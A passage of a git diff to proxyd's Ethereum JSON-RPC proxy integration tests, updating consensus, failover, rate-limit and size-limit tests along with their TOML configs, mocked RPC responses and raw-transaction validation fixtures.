alchemy_getTransactionReceipts with latest block tag", func(t *testing.T) { + reset() + useOnlyNode1() + update() + + // reset request counts + nodes["node1"].mockBackend.Reset() + + nodes["node1"].backend.Override(proxyd.WithConsensusReceiptTarget("alchemy_getTransactionReceipts")) + defer nodes["node1"].backend.Override(proxyd.WithConsensusReceiptTarget("debug_getRawReceipts")) + + resRaw, statusCode, err := client.SendRPC("consensus_getReceipts", + []interface{}{"latest"}) + + require.NoError(t, err) + require.Equal(t, 200, statusCode) + + var reqJsonMap map[string]interface{} + err = json.Unmarshal(nodes["node1"].mockBackend.Requests()[0].Body, &reqJsonMap) + + require.NoError(t, err) + require.Equal(t, "alchemy_getTransactionReceipts", reqJsonMap["method"]) + require.Equal(t, "0x101", reqJsonMap["params"].([]interface{})[0].(map[string]interface{})["blockNumber"]) + + var resJsonMap map[string]interface{} + err = json.Unmarshal(resRaw, &resJsonMap) + require.NoError(t, err) + + require.Equal(t, "alchemy_getTransactionReceipts", resJsonMap["result"].(map[string]interface{})["method"].(string)) + require.Equal(t, "alchemy_getTransactionReceipts", resJsonMap["result"].(map[string]interface{})["result"].(map[string]interface{})["_"]) + }) + + t.Run("translate consensus_getReceipts to unsupported consensus_receipts_target", func(t *testing.T) { + reset() + useOnlyNode1() + + nodes["node1"].backend.Override(proxyd.WithConsensusReceiptTarget("unsupported_consensus_receipts_target")) + defer nodes["node1"].backend.Override(proxyd.WithConsensusReceiptTarget("debug_getRawReceipts")) + + _, statusCode, err := client.SendRPC("consensus_getReceipts", + []interface{}{"latest"}) + + require.NoError(t, err) + require.Equal(t, 400, statusCode) + }) + + t.Run("consensus_getReceipts should not be used in a batch", func(t *testing.T) { + reset() + useOnlyNode1() + + _, statusCode, err := client.SendBatchRPC( + NewRPCReq("1", "eth_getBlockByNumber", []interface{}{"latest"}), + NewRPCReq("2", "consensus_getReceipts", []interface{}{"0x55"}), + NewRPCReq("3", "eth_getBlockByNumber", []interface{}{"0xe1"})) + require.NoError(t, err) + require.Equal(t, 400, statusCode) + }) +} + +func buildResponse(result interface{}) string { + res, err := json.Marshal(proxyd.RPCRes{ + Result: result, + }) + if err != nil { + panic(err) + } + return string(res) +} diff --git a/go/proxyd/integration_tests/failover_test.go b/go/proxyd/integration_tests/failover_test.go index 47c9e2667b..501542a1ef 100644 --- a/go/proxyd/integration_tests/failover_test.go +++ b/go/proxyd/integration_tests/failover_test.go @@ -30,7 +30,7 @@ func TestFailover(t *testing.T) { config := ReadConfig("failover") client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() @@ -128,7 +128,7 @@ func TestRetries(t *testing.T) { require.NoError(t, os.Setenv("GOOD_BACKEND_RPC_URL", backend.URL())) config := ReadConfig("retries") client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() @@ -171,7 +171,7 @@ func TestOutOfServiceInterval(t *testing.T) { config := ReadConfig("out_of_service_interval") client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() @@ -190,7 +190,7 @@ func TestOutOfServiceInterval(t *testing.T) { require.NoError(t, err) require.Equal(t, 200, statusCode) RequireEqualJSON(t, []byte(goodResponse), res) - require.Equal(t, 2, len(badBackend.Requests())) + require.Equal(t, 4, len(badBackend.Requests())) require.Equal(t, 2, len(goodBackend.Requests())) _, statusCode, err = client.SendBatchRPC( @@ -199,7 +199,7 @@ func TestOutOfServiceInterval(t *testing.T) { ) require.NoError(t, err) require.Equal(t, 200, statusCode) - require.Equal(t, 2, len(badBackend.Requests())) + require.Equal(t, 8, len(badBackend.Requests())) require.Equal(t, 4, len(goodBackend.Requests())) time.Sleep(time.Second) @@ -209,7 +209,7 @@ func TestOutOfServiceInterval(t *testing.T) { require.NoError(t, err) require.Equal(t, 200, statusCode) RequireEqualJSON(t, []byte(goodResponse), res) - require.Equal(t, 3, len(badBackend.Requests())) + require.Equal(t, 9, len(badBackend.Requests())) require.Equal(t, 4, len(goodBackend.Requests())) } @@ -226,7 +226,7 @@ func TestBatchWithPartialFailover(t *testing.T) { require.NoError(t, os.Setenv("BAD_BACKEND_RPC_URL", badBackend.URL())) client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() @@ -261,7 +261,6 @@ func TestInfuraFailoverOnUnexpectedResponse(t *testing.T) { config.BackendOptions.MaxRetries = 2 // Setup redis to detect offline backends config.Redis.URL = fmt.Sprintf("redis://127.0.0.1:%s", redis.Port()) - redisClient, err := proxyd.NewRedisClient(config.Redis.URL) require.NoError(t, err) goodBackend := NewMockBackend(BatchedResponseHandler(200, goodResponse, goodResponse)) @@ -273,7 +272,7 @@ func TestInfuraFailoverOnUnexpectedResponse(t *testing.T) { require.NoError(t, os.Setenv("BAD_BACKEND_RPC_URL", badBackend.URL())) client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() @@ -286,10 +285,4 @@ func TestInfuraFailoverOnUnexpectedResponse(t *testing.T) { RequireEqualJSON(t, []byte(asArray(goodResponse, goodResponse)), res) require.Equal(t, 1, len(badBackend.Requests())) require.Equal(t, 1, len(goodBackend.Requests())) - - rr := proxyd.NewRedisRateLimiter(redisClient) - require.NoError(t, err) - online, err := rr.IsBackendOnline("bad") - require.NoError(t, err) - require.Equal(t, true, online) } diff --git a/go/proxyd/integration_tests/max_rpc_conns_test.go b/go/proxyd/integration_tests/max_rpc_conns_test.go index 1ee1febe1c..5e2336443b 100644 --- a/go/proxyd/integration_tests/max_rpc_conns_test.go +++ b/go/proxyd/integration_tests/max_rpc_conns_test.go @@ -41,7 +41,7 @@ func TestMaxConcurrentRPCs(t *testing.T) { config := ReadConfig("max_rpc_conns") client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() diff --git a/go/proxyd/integration_tests/mock_backend_test.go b/go/proxyd/integration_tests/mock_backend_test.go index ade879c6ee..bf45d03f1c 100644 --- a/go/proxyd/integration_tests/mock_backend_test.go +++ b/go/proxyd/integration_tests/mock_backend_test.go @@ -77,6 +77,7 @@ func (h *BatchRPCResponseRouter) SetRoute(method string, id string, result inter switch result.(type) { case string: + case []string: case nil: break default: diff --git a/go/proxyd/integration_tests/rate_limit_test.go b/go/proxyd/integration_tests/rate_limit_test.go index 7a70deacf2..4e17f625c1 100644 --- a/go/proxyd/integration_tests/rate_limit_test.go +++ b/go/proxyd/integration_tests/rate_limit_test.go @@ -21,23 +21,6 @@ const frontendOverLimitResponseWithID = `{"error":{"code":-32016,"message":"over var ethChainID = "eth_chainId" -func TestBackendMaxRPSLimit(t *testing.T) { - goodBackend := NewMockBackend(BatchedResponseHandler(200, goodResponse)) - defer goodBackend.Close() - - require.NoError(t, os.Setenv("GOOD_BACKEND_RPC_URL", goodBackend.URL())) - - config := ReadConfig("backend_rate_limit") - client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) - require.NoError(t, err) - defer shutdown() - limitedRes, codes := spamReqs(t, client, ethChainID, 503, 3) - require.Equal(t, 2, codes[200]) - require.Equal(t, 1, codes[503]) - RequireEqualJSON(t, []byte(noBackendsResponse), limitedRes) -} - func TestFrontendMaxRPSLimit(t *testing.T) { goodBackend := NewMockBackend(BatchedResponseHandler(200, goodResponse)) defer goodBackend.Close() @@ -45,7 +28,7 @@ func TestFrontendMaxRPSLimit(t *testing.T) { require.NoError(t, os.Setenv("GOOD_BACKEND_RPC_URL", goodBackend.URL())) config := ReadConfig("frontend_rate_limit") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() diff --git a/go/proxyd/integration_tests/sender_rate_limit_test.go b/go/proxyd/integration_tests/sender_rate_limit_test.go index b8a77307f1..20c5f0a7cd 100644 --- a/go/proxyd/integration_tests/sender_rate_limit_test.go +++ b/go/proxyd/integration_tests/sender_rate_limit_test.go @@ -20,12 +20,10 @@ const txHex1 = "0x02f8b28201a406849502f931849502f931830147f9948f3ddd0fbf3e78ca1d "1145d2f3e759d49209fe96011ac012884ec5b017a0763b58f6fa6096e6ba28ee" + "08bfac58f58fb3b8bcef5af98578bdeaddf40bde42" -const txHex2 = "0xf8aa82afd2830f4240830493e094464959ad46e64046b891f562cff202a465d5" + - "22f380b844d5bade070000000000000000000000004200000000000000000000" + - "0000000000000000060000000000000000000000000000000000000000000000" + - "0000000025ef43fc0038a05d8ea9837ea81469bda4dadbe852fdd37fcfbcd666" + - "5641a35e4726fbc04364e7a0107e20bb34aea53c695a551204a11d42fe465055" + - "510ee240e8f884fb70289be6" +const txHex2 = "0x02f8758201a48217fd84773594008504a817c80082520894be53e587975603" + + "a13d0923d0aa6d37c5233dd750865af3107a400080c080a04aefbd5819c35729" + + "138fe26b6ae1783ebf08d249b356c2f920345db97877f3f7a008d5ae92560a3c" + + "65f723439887205713af7ce7d7f6b24fba198f2afa03435867" const dummyRes = `{"id": 123, "jsonrpc": "2.0", "result": "dummy"}` @@ -43,7 +41,7 @@ func TestSenderRateLimitValidation(t *testing.T) { // validation. config.SenderRateLimit.Limit = math.MaxInt client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() @@ -73,7 +71,7 @@ func TestSenderRateLimitLimiting(t *testing.T) { config := ReadConfig("sender_rate_limit") client := NewProxydClient("http://127.0.0.1:8545") - shutdown, err := proxyd.Start(config) + _, shutdown, err := proxyd.Start(config) require.NoError(t, err) defer shutdown() @@ -81,10 +79,10 @@ func TestSenderRateLimitLimiting(t *testing.T) { // should be rate limited. res1, code1, err := client.SendRequest(makeSendRawTransaction(txHex1)) require.NoError(t, err) - res2, code2, err := client.SendRequest(makeSendRawTransaction(txHex1)) - require.NoError(t, err) RequireEqualJSON(t, []byte(dummyRes), res1) require.Equal(t, 200, code1) + res2, code2, err := client.SendRequest(makeSendRawTransaction(txHex1)) + require.NoError(t, err) RequireEqualJSON(t, []byte(limRes), res2) require.Equal(t, 429, code2) diff --git a/go/proxyd/integration_tests/testdata/caching.toml b/go/proxyd/integration_tests/testdata/caching.toml index cd14ff3ab4..41bc65b9a7 100644 --- a/go/proxyd/integration_tests/testdata/caching.toml +++ b/go/proxyd/integration_tests/testdata/caching.toml @@ -6,11 +6,10 @@ response_timeout_seconds = 1 [redis] url = "$REDIS_URL" +namespace = "proxyd" [cache] enabled = true -block_sync_rpc_url = "$GOOD_BACKEND_RPC_URL" - [backends] [backends.good] @@ -27,3 +26,11 @@ net_version = "main" eth_getBlockByNumber = "main" eth_blockNumber = "main" eth_call = "main" +eth_getBlockTransactionCountByHash = "main" +eth_getUncleCountByBlockHash = "main" +eth_getBlockByHash = "main" +eth_getTransactionByHash = "main" +eth_getTransactionByBlockHashAndIndex = "main" +eth_getUncleByBlockHashAndIndex = "main" +eth_getTransactionReceipt = "main" +debug_getRawReceipts = "main" diff --git a/go/proxyd/integration_tests/testdata/consensus.toml b/go/proxyd/integration_tests/testdata/consensus.toml new file mode 100644 index 0000000000..bb130368ea --- /dev/null +++ b/go/proxyd/integration_tests/testdata/consensus.toml @@ -0,0 +1,30 @@ +[server] +rpc_port = 8545 + +[backend] +response_timeout_seconds = 1 +max_degraded_latency_threshold = "30ms" + +[backends] +[backends.node1] +rpc_url = "$NODE1_URL" + +[backends.node2] +rpc_url = "$NODE2_URL" + +[backend_groups] +[backend_groups.node] +backends = ["node1", "node2"] +consensus_aware = true +consensus_handler = "noop" # allow more control over the consensus poller for tests +consensus_ban_period = "1m" +consensus_max_update_threshold = "2m" +consensus_max_block_lag = 8 +consensus_min_peer_count = 4 + +[rpc_method_mappings] +eth_call = "node" +eth_chainId = "node" +eth_blockNumber = "node" +eth_getBlockByNumber = "node" +consensus_getReceipts = "node" diff --git a/go/proxyd/integration_tests/testdata/consensus_responses.yml b/go/proxyd/integration_tests/testdata/consensus_responses.yml new file mode 100644 index 0000000000..642c3340f0 --- /dev/null +++ b/go/proxyd/integration_tests/testdata/consensus_responses.yml @@ -0,0 +1,234 @@ +- method: eth_chainId + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": "hello", + } +- method: net_peerCount + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": "0x10" + } +- method: eth_syncing + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": false + } +- method: eth_getBlockByNumber + block: latest + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0x101", + "number": "0x101" + } + } +- method: eth_getBlockByNumber + block: 0x101 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0x101", + "number": "0x101" + } + } +- method: eth_getBlockByNumber + block: 0x102 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0x102", + "number": "0x102" + } + } +- method: eth_getBlockByNumber + block: 0x103 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0x103", + "number": "0x103" + } + } +- method: eth_getBlockByNumber + block: 0x10a + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0x10a", + "number": "0x10a" + } + } +- method: eth_getBlockByNumber + block: 0x132 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0x132", + "number": "0x132" + } + } +- method: eth_getBlockByNumber + block: 0x133 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0x133", + "number": "0x133" + } + } +- method: eth_getBlockByNumber + block: 0x134 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0x134", + "number": "0x134" + } + } +- method: eth_getBlockByNumber + block: 0x200 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0x200", + "number": "0x200" + } + } +- method: eth_getBlockByNumber + block: 0x91 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0x91", + "number": "0x91" + } + } +- method: eth_getBlockByNumber + block: safe + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0xe1", + "number": "0xe1" + } + } +- method: eth_getBlockByNumber + block: 0xe1 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0xe1", + "number": "0xe1" + } + } +- method: eth_getBlockByNumber + block: finalized + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0xc1", + "number": "0xc1" + } + } +- method: eth_getBlockByNumber + block: 0xc1 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0xc1", + "number": "0xc1" + } + } +- method: eth_getBlockByNumber + block: 0xd1 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash_0xd1", + "number": "0xd1" + } + } +- method: debug_getRawReceipts + block: 0x55 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "_": "debug_getRawReceipts" + } + } +- method: debug_getRawReceipts + block: 0xc6ef2fc5426d6ad6fd9e2a26abeab0aa2411b7ab17f30a99d3cb96aed1d1055b + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "_": "debug_getRawReceipts" + } + } +- method: debug_getRawReceipts + block: 0x101 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "_": "debug_getRawReceipts" + } + } +- method: eth_getTransactionReceipt + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "_": "eth_getTransactionReceipt" + } + } +- method: alchemy_getTransactionReceipts + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "_": "alchemy_getTransactionReceipts" + } + } diff --git a/go/proxyd/integration_tests/testdata/out_of_service_interval.toml b/go/proxyd/integration_tests/testdata/out_of_service_interval.toml index 46112510a8..157fa06c18 100644 --- a/go/proxyd/integration_tests/testdata/out_of_service_interval.toml +++ b/go/proxyd/integration_tests/testdata/out_of_service_interval.toml @@ -20,6 +20,3 @@ backends = ["bad", "good"] [rpc_method_mappings] eth_chainId = "main" - -[rate_limit] -enable_backend_rate_limiter = true \ No newline at end of file diff --git a/go/proxyd/integration_tests/testdata/sender_rate_limit.toml b/go/proxyd/integration_tests/testdata/sender_rate_limit.toml index 840c295f61..024858a1e7 100644 --- a/go/proxyd/integration_tests/testdata/sender_rate_limit.toml +++ b/go/proxyd/integration_tests/testdata/sender_rate_limit.toml @@ -20,4 +20,5 @@ eth_sendRawTransaction = "main" [sender_rate_limit] enabled = true interval = "1s" -limit = 1 \ No newline at end of file +limit = 1 +allowed_chain_ids = [420] diff --git a/go/proxyd/integration_tests/testdata/backend_rate_limit.toml b/go/proxyd/integration_tests/testdata/size_limits.toml similarity index 61% rename from go/proxyd/integration_tests/testdata/backend_rate_limit.toml rename to go/proxyd/integration_tests/testdata/size_limits.toml index 17500f3332..bd4afab534 100644 --- a/go/proxyd/integration_tests/testdata/backend_rate_limit.toml +++ b/go/proxyd/integration_tests/testdata/size_limits.toml @@ -1,21 +1,21 @@ +whitelist_error_message = "rpc method is not whitelisted custom message" + [server] rpc_port = 8545 +max_request_body_size_bytes = 150 [backend] response_timeout_seconds = 1 +max_response_size_bytes = 1 [backends] [backends.good] rpc_url = "$GOOD_BACKEND_RPC_URL" ws_url = "$GOOD_BACKEND_RPC_URL" -max_rps = 2 [backend_groups] [backend_groups.main] backends = ["good"] [rpc_method_mappings] -eth_chainId = "main" - -[rate_limit] -enable_backend_rate_limiter = true \ No newline at end of file +eth_chainId = "main" \ No newline at end of file diff --git a/go/proxyd/integration_tests/testdata/testdata.txt b/go/proxyd/integration_tests/testdata/testdata.txt index 49d0a874d7..7e31927baa 100644 --- a/go/proxyd/integration_tests/testdata/testdata.txt +++ b/go/proxyd/integration_tests/testdata/testdata.txt @@ -8,4 +8,6 @@ invalid transaction data|{"jsonrpc":"2.0","method":"eth_sendRawTransaction","par invalid transaction data|{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0x1234"],"id":1}|{"jsonrpc":"2.0","error":{"code":-32602,"message":"transaction type not supported"},"id":1} valid transaction data - simple send|{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0x02f8748201a415843b9aca31843b9aca3182520894f80267194936da1e98db10bce06f3147d580a62e880de0b6b3a764000080c001a0b50ee053102360ff5fedf0933b912b7e140c90fe57fa07a0cebe70dbd72339dda072974cb7bfe5c3dc54dde110e2b049408ccab8a879949c3b4d42a3a7555a618b"],"id":1}|{"id": 123, "jsonrpc": "2.0", "result": "dummy"} valid transaction data - contract call|{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0x02f8b28201a406849502f931849502f931830147f9948f3ddd0fbf3e78ca1d6cd17379ed88e261249b5280b84447e7ef2400000000000000000000000089c8b1b2774201bac50f627403eac1b732459cf70000000000000000000000000000000000000000000000056bc75e2d63100000c080a0473c95566026c312c9664cd61145d2f3e759d49209fe96011ac012884ec5b017a0763b58f6fa6096e6ba28ee08bfac58f58fb3b8bcef5af98578bdeaddf40bde42"],"id":1}|{"id": 123, "jsonrpc": "2.0", "result": "dummy"} -batch with mixed results|[{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0x02f8748201a415843b9aca31843b9aca3182520894f80267194936da1e98db10bce06f3147d580a62e880de0b6b3a764000080c001a0b50ee053102360ff5fedf0933b912b7e140c90fe57fa07a0cebe70dbd72339dda072974cb7bfe5c3dc54dde110e2b049408ccab8a879949c3b4d42a3a7555a618b"],"id":1},{"bad":"json"},{"jsonrpc":"2.0","method":"eth_fooTheBar","params":[],"id":123}]|[{"id": 123, "jsonrpc": "2.0", "result": "dummy"},{"jsonrpc":"2.0","error":{"code":-32600,"message":"invalid JSON-RPC version"},"id":null},{"jsonrpc":"2.0","error":{"code":-32001,"message":"rpc method is not whitelisted"},"id":123}] \ No newline at end of file +valid chain id - simple send|{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0x02f8748201a415843b9aca31843b9aca3182520894f80267194936da1e98db10bce06f3147d580a62e880de0b6b3a764000080c001a0b50ee053102360ff5fedf0933b912b7e140c90fe57fa07a0cebe70dbd72339dda072974cb7bfe5c3dc54dde110e2b049408ccab8a879949c3b4d42a3a7555a618b"],"id":1}|{"id": 123, "jsonrpc": "2.0", "result": "dummy"} +invalid chain id - simple send|{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0x02f87683ab41308217af84773594008504a817c80082520894be53e587975603a13d0923d0aa6d37c5233dd750865af3107a400080c001a04ae265f17e882b922d39f0f0cb058a6378df1dc89da8b8165ab6bc53851b426aa0682079486be2aa23bc7514477473362cc7d63afa12c99f7d8fb15e68d69d9a48"],"id":1}|{"jsonrpc":"2.0","error":{"code":-32000,"message":"invalid sender"},"id":1} +batch with mixed results|[{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0x02f87683ab41308217af84773594008504a817c80082520894be53e587975603a13d0923d0aa6d37c5233dd750865af3107a400080c001a04ae265f17e882b922d39f0f0cb058a6378df1dc89da8b8165ab6bc53851b426aa0682079486be2aa23bc7514477473362cc7d63afa12c99f7d8fb15e68d69d9a48"],"id":1},{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0x02f8748201a415843b9aca31843b9aca3182520894f80267194936da1e98db10bce06f3147d580a62e880de0b6b3a764000080c001a0b50ee053102360ff5fedf0933b912b7e140c90fe57fa07a0cebe70dbd72339dda072974cb7bfe5c3dc54dde110e2b049408ccab8a879949c3b4d42a3a7555a618b"],"id":1},{"bad":"json"},{"jsonrpc":"2.0","method":"eth_fooTheBar","params":[],"id":123}]|[{"jsonrpc":"2.0","error":{"code":-32000,"message":"invalid sender"},"id":1},{"id": 123, "jsonrpc": "2.0", "result": "dummy"},{"jsonrpc":"2.0","error":{"code":-32600,"message":"invalid JSON-RPC version"},"id":null},{"jsonrpc":"2.0","error":{"code":-32001,"message":"rpc method is not whitelisted"},"id":123}] diff --git a/go/proxyd/integration_tests/testdata/ws.toml b/go/proxyd/integration_tests/testdata/ws.toml index 17ecce48c5..4642e6bc0f 100644 --- a/go/proxyd/integration_tests/testdata/ws.toml +++ b/go/proxyd/integration_tests/testdata/ws.toml @@ -4,18 +4,15 @@ ws_backend_group = "main" ws_method_whitelist = [ "eth_subscribe", - "eth_accounts", - "eth_sendRawTransaction" + "eth_accounts" ] [server] rpc_port = 8545 ws_port = 8546 -max_body_size_bytes = 10000 [backend] response_timeout_seconds = 1 -max_response_size_bytes = 10000 [backends] [backends.good] @@ -29,11 +26,3 @@ backends = ["good"] [rpc_method_mappings] eth_chainId = "main" - -[rate_limit] -enable_backend_rate_limiter = true - -[sender_rate_limit] -enabled = true -limit = 10000 -interval = "1s" diff --git a/go/proxyd/integration_tests/testdata/ws_frontend_rate_limit.toml b/go/proxyd/integration_tests/testdata/ws_frontend_rate_limit.toml deleted file mode 100644 index 4f437a0cc1..0000000000 --- a/go/proxyd/integration_tests/testdata/ws_frontend_rate_limit.toml +++ /dev/null @@ -1,35 +0,0 @@ -whitelist_error_message = "rpc method is not whitelisted" - -ws_backend_group = "main" - -ws_method_whitelist = [ - "eth_subscribe", - "eth_accounts" -] - -[server] -rpc_port = 8545 -ws_port = 8546 - -[backend] -response_timeout_seconds = 1 - -[backends] -[backends.good] -rpc_url = "$GOOD_BACKEND_RPC_URL" -ws_url = "$GOOD_BACKEND_RPC_URL" - -[backend_groups] -[backend_groups.main] -backends = ["good"] - -[rpc_method_mappings] -eth_chainId = "main" - -[rate_limit] -enable_backend_rate_limiter = true -base_rate = 1 -base_interval = "1s" -exempt_origins = ["wss://127.0.0.1:8546"] -exempt_user_agents = ["exempt_agent"] -error_message = "over rate limit with special message" diff --git a/go/proxyd/integration_tests/testdata/ws_sender_rate_limit.toml b/go/proxyd/integration_tests/testdata/ws_sender_rate_limit.toml deleted file mode 100644 index 1d9c15db2a..0000000000 --- a/go/proxyd/integration_tests/testdata/ws_sender_rate_limit.toml +++ /dev/null @@ -1,34 +0,0 @@ -whitelist_error_message = "rpc method is not whitelisted" - -ws_backend_group = "main" - -ws_method_whitelist = [ - "eth_subscribe", - "eth_accounts", - "eth_sendRawTransaction" -] - -[server] -rpc_port = 8545 -ws_port = 8546 - -[backend] -response_timeout_seconds = 1 - -[backends] -[backends.good] -rpc_url = "$GOOD_BACKEND_RPC_URL" -ws_url = "$GOOD_BACKEND_RPC_URL" - -[backend_groups] -[backend_groups.main] -backends = ["good"] - -[rpc_method_mappings] -eth_chainId = "main" -eth_sendRawTransaction = "main" - -[sender_rate_limit] -enabled = true -interval = "1s" -limit = 1 diff --git a/go/proxyd/integration_tests/testdata/ws_testdata.txt b/go/proxyd/integration_tests/testdata/ws_testdata.txt deleted file mode 100644 index 1be686fa7f..0000000000 --- a/go/proxyd/integration_tests/testdata/ws_testdata.txt +++ /dev/null @@ -1,13 +0,0 @@ -name|body|responseBody -not json|not json|{"jsonrpc":"2.0","error":{"code":-32700,"message":"parse error"},"id":null}| -not json-rpc|{"foo":"bar"}|{"jsonrpc":"2.0","error":{"code":-32600,"message":"invalid JSON-RPC version"},"id":null}| -missing fields json-rpc|{"jsonrpc":"2.0"}|{"jsonrpc":"2.0","error":{"code":-32600,"message":"no method specified"},"id":null}| -bad method json-rpc|{"jsonrpc":"2.0","method":"eth_notSendRawTransaction","id":1}|{"jsonrpc":"2.0","error":{"code":-32001,"message":"rpc method is not whitelisted"},"id":1}| -no transaction data|{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":[],"id":1}|{"jsonrpc":"2.0","error":{"code":-32602,"message":"missing value for required argument 0"},"id":1}| -invalid transaction data|{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0xf6806872fcc650ad4e77e0629206426cd183d751e9ddcc8d5e77"],"id":1}|{"jsonrpc":"2.0","error":{"code":-32602,"message":"rlp: value size exceeds available input length"},"id":1}| -invalid transaction data|{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0x1234"],"id":1}|{"jsonrpc":"2.0","error":{"code":-32602,"message":"transaction type not supported"},"id":1}| -valid transaction data - simple send|{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0x02f8748201a415843b9aca31843b9aca3182520894f80267194936da1e98db10bce06f3147d580a62e880de0b6b3a764000080c001a0b50ee053102360ff5fedf0933b912b7e140c90fe57fa07a0cebe70dbd72339dda072974cb7bfe5c3dc54dde110e2b049408ccab8a879949c3b4d42a3a7555a618b"],"id":1}|{"id": 123, "jsonrpc": "2.0", "result": "dummy"}| -valid transaction data - contract call|{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0x02f8b28201a406849502f931849502f931830147f9948f3ddd0fbf3e78ca1d6cd17379ed88e261249b5280b84447e7ef2400000000000000000000000089c8b1b2774201bac50f627403eac1b732459cf70000000000000000000000000000000000000000000000056bc75e2d63100000c080a0473c95566026c312c9664cd61145d2f3e759d49209fe96011ac012884ec5b017a0763b58f6fa6096e6ba28ee08bfac58f58fb3b8bcef5af98578bdeaddf40bde42"],"id":1}|{"id": 123, "jsonrpc": "2.0", "result": "dummy"}| -batch with mixed results|[{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0x02f8748201a415843b9aca31843b9aca3182520894f80267194936da1e98db10bce06f3147d580a62e880de0b6b3a764000080c001a0b50ee053102360ff5fedf0933b912b7e140c90fe57fa07a0cebe70dbd72339dda072974cb7bfe5c3dc54dde110e2b049408ccab8a879949c3b4d42a3a7555a618b"],"id":1},{"bad":"json"},{"jsonrpc":"2.0","method":"eth_fooTheBar","params":[],"id":123}]|{"jsonrpc":"2.0","error":{"code":-32700,"message":"parse error"},"id":null}| -input too long|{"jsonrpc":"2.0","method":"eth_sendRawTransaction","params":["0xf950d882012e843b9aca008359d6b38080b95082608060405234801561001057600080fd5b50600080546001600160a01b0319169055615052806100306000396000f3fe6080604052600436106102a05760003560e01c80636854e22b1161016e57806398fabd3a116100cb578063c58827ea1161007f578063ecb12db011610064578063ecb12db0146107fa578063f2fde38b1461081a578063f48712681461083a57600080fd5b8063c58827ea146107c7578063c95f9d0e146107e757600080fd5b80639a7b5f11116100b05780639a7b5f11146106d6578063b4eeb98814610787578063bd2d1cab146107a757600080fd5b806398fabd3a14610693578063997d73df146106bb57600080fd5b8063744a5aa21161012257806381e6bdac1161010757806381e6bdac1461063e5780638456cb591461065e5780638da5cb5b1461067357600080fd5b8063744a5aa21461061257806377b594a21461062857600080fd5b80636af9f1c2116101535780636af9f1c2146105bc57806370ac3180146105dc5780637286e5e5146105f257600080fd5b80636854e22b1461056a57806368be42ca1461059c57600080fd5b80633cb747bf1161021c578063485cc955116101d0578063531645cb116101b5578063531645cb146105125780635c975abb14610532578063650a767b1461054a57600080fd5b8063485cc955146104d257806349561dc4146104f257600080fd5b80633f4ba83a116102015780633f4ba83a1461047d5780633f89e9521461049257806341132e4c146104b257600080fd5b80633cb747bf1461043d5780633d93941b1461045d57600080fd5b80631786e46d116102735780631f0bfb8c116102585780631f0bfb8c146103b957806334636648146103f9578063358fc07e1461041957600080fd5b80631786e46d146103865780631d00a771146103a657600080fd5b8063067b2dcb146102a55780630f208beb146102c757806312f54c1a1461032e57806316a8dda71461034e575b600080fd5b3480156102b157600080fd5b506102c56102c0366004614b85565b61085a565b005b3480156102d357600080fd5b5061030e6102e2366004614b85565b609860209081526000928352604080842090915290825290208054600182015460029092015490919083565b604080519384526020840192909252908201526060015b60405180910390f35b34801561033a57600080fd5b